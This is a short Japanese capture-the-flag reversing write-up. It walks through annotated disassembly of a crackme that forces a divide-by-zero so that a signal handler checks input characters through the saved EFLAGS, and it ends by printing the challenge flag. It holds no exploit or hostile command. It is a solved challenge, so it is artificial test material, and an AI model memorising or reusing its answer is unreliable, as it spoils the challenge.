f_400f18関数の返却値は、esiレジスタに格納され、NGの文字が入力されていた場合、esiに0が格納される。

  :
  400f37:	8b 02                	mov    eax,DWORD PTR [rdx] ; データ
  400f39:	89 c2                	mov    edx,eax
  400f3b:	83 ea 03             	sub    edx,0x3
  400f3e:	89 d0                	mov    eax,edx
  400f40:	83 f8 40             	cmp    eax,0x40 ; 0x43 = "C"
  400f43:	4c 8d 14 25 28 10 40 	lea    r10,ds:0x401028
  400f4a:	00 
  400f4b:	49 c7 c3 05 00 00 00 	mov    r11,0x5
  400f52:	c7 04 25 28 33 60 00 	mov    DWORD PTR ds:0x603328,0x1 ; 比較に利用
  400f59:	01 00 00 00 
  400f5d:	48 89 04 25 30 33 60 	mov    QWORD PTR ds:0x603330,rax ; "C"
  400f64:	00 
  400f65:	48 c7 c0 00 00 00 00 	mov    rax,0x0
  400f6c:	48 89 14 25 38 33 60 	mov    QWORD PTR ds:0x603338,rdx
  400f73:	00 
  400f74:	48 8d 15 00 00 00 00 	lea    rdx,[rip+0x0]        # 400f7b <strerror@plt+0x9bb>

  400f7b:	48 89 14 25 48 33 60 	mov    QWORD PTR ds:0x603348,rdx
  400f82:	00 
  400f83:	99                   	cdq    
  400f84:	48 f7 3c 25 20 33 60 	idiv   QWORD PTR ds:0x603320 ; 0除算でsigハンドラ呼び出し
  400f8b:	00 
  400f8c:	48 c7 04 25 20 33 60 	mov    QWORD PTR ds:0x603320,0x0
  400f93:	00 00 00 00 00 
  400f98:	48 8b 04 25 30 33 60 	mov    rax,QWORD PTR ds:0x603330
  400f9f:	00 
  400fa0:	48 8b 14 25 38 33 60 	mov    rdx,QWORD PTR ds:0x603338
  400fa7:	00 
  400fa8:	4c 8b 1c 25 40 33 60 	mov    r11,QWORD PTR ds:0x603340 ; 次のアドレス
  400faf:	00 
  400fb0:	41 ff e3             	jmp    r11 ; OKなら次の検査
  400fb3:	be 00 00 00 00       	mov    esi,0x0 ; NG
  400fb8:	4c 8d 14 25 28 10 40 	lea    r10,ds:0x401028
  :

シグナルハンドラーでは、第3引数として受け取ったコンテキスト(ucontext_t へのポインター)のなかのEFLAGSを利用してデータの比較結果を確認していた。

  40289a:	55                   	push   rbp
  40289b:	48 89 e5             	mov    rbp,rsp
  40289e:	48 89 7d d8          	mov    QWORD PTR [rbp-0x28],rdi
  4028a2:	48 89 75 d0          	mov    QWORD PTR [rbp-0x30],rsi
  4028a6:	48 8b 45 d8          	mov    rax,QWORD PTR [rbp-0x28]
  4028aa:	48 89 45 f8          	mov    QWORD PTR [rbp-0x8],rax
  4028ae:	48 8b 05 93 0a 20 00 	mov    rax,QWORD PTR [rip+0x200a93]        # 603348 <strerror@plt+0x202d88>
  4028b5:	48 83 c0 38          	add    rax,0x38
  4028b9:	48 89 45 f0          	mov    QWORD PTR [rbp-0x10],rax
  4028bd:	48 8b 45 d0          	mov    rax,QWORD PTR [rbp-0x30] ; シグナルハンドラー呼び出し時のEFLAGS
  4028c1:	83 e0 40             	and    eax,0x40 ; ZF 結果が0
  4028c4:	48 85 c0             	test   rax,rax
  4028c7:	0f 9f c0             	setg   al
  4028ca:	0f b6 c0             	movzx  eax,al
  4028cd:	89 45 ec             	mov    DWORD PTR [rbp-0x14],eax
  4028d0:	48 8b 45 d0          	mov    rax,QWORD PTR [rbp-0x30]
  4028d4:	25 00 08 00 00       	and    eax,0x800 ; OF オーバーフロー
  4028d9:	48 85 c0             	test   rax,rax
  4028dc:	0f 9f c0             	setg   al
  4028df:	0f b6 c0             	movzx  eax,al
  4028e2:	89 45 e8             	mov    DWORD PTR [rbp-0x18],eax
  4028e5:	48 8b 45 d0          	mov    rax,QWORD PTR [rbp-0x30]
  4028e9:	25 80 00 00 00       	and    eax,0x80 ; SF 符号。負の場合。
  4028ee:	48 85 c0             	test   rax,rax
  4028f1:	0f 9f c0             	setg   al
  :

比較結果の確認のパターンとしては、イコールになるか X+1 > X > X-1 となるXか?の2種類だった(気がする)。例えば、入力文字Xが0x40="@" > X > 0x3e=">"を満たすかどうかをチェックしていた。

Flag: PCTF{n0_fl0?_m0_like_ah_h3ll_n0}